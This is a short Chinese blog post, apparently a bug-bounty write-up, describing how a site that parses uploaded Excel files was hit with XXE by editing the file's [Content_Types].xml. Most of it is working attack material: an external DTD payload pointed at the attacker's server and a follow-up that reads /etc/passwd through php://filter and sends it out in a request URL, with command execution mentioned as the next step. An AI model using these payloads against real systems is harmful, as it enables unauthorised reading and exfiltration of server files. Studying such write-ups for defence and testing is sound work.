SRC漏洞挖掘经验分享:文件解析造成的XXE

写一些自己挖到的比较有意思的漏洞

网站存在一个有意思的功能点,通过上传Excel会将内容显示在页面上,也就是说后端会解析Excel

Excel是通过XML来存储数据的,也就是说网站解析了XML,那么我们就可以在XML中注入语句来尝试攻击

新建一个"新建 Microsoft Excel 工作表.xlsx",将后缀改为.zip并解压

尝试在"[Content_Types].xml"中注入语句,之后再压缩回.zip然后重命名为"新建 Microsoft Excel 工作表.xlsx"

<!DOCTYPE a [ <!ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;%c;%xxe;]>

在自己服务器构造x.dtd,并开启access.log日志

<!ENTITY % c "<!ENTITY &#37; xxe SYSTEM 'http://你服务器IP/XXE'>">

使用网站解析Excel,查看日志

成功调用外部实体

利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY % c "<!ENTITY &#37; xxe SYSTEM 'http://你服务器IP/%file;'>">

posted @ 2022-10-20 01:28  Hacker&Cat  阅读(158)  评论(0编辑  收藏  举报